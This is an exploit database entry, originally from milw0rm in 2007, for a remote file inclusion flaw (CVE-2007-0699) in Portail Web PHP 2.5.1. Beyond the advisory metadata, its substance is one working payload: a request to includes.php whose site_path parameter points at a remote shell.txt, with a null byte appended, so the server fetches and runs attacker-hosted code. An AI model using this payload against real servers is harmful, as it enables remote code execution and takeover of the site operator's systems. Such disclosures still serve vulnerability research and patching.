Portail Web PHP 2.5.1 - 'includes.php' Remote File Inclusion

Author: laurent gaffié
type: webapps
platform: php
port: 
date_added: 2007-01-31  
date_updated: 2016-11-14  
verified: 1  
codes: OSVDB-33633;CVE-2007-0699  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comPwP2.5.1.rar  

raw file: 3250.txt  
php web portail [remote file include]
download site: https://sourceforge.net/project/showfiles.php?group_id=178400
product:php web portail
bug: remote file include
risk : high

remote file include :

/includes/includes.php?site_path=http://site.com/shell.txt?%00



laurent gaffié
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2007-02-01]